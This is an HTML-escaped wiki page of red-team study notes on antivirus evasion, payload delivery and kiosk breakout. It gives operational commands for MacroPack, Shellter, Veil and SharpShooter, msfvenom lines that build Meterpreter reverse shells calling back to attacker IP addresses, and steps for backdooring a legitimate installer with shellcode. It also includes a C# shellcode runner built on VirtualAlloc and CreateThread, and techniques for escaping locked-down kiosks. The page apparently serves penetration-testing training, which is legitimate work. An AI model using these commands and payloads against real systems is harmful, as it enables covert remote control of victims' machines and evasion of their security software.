[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
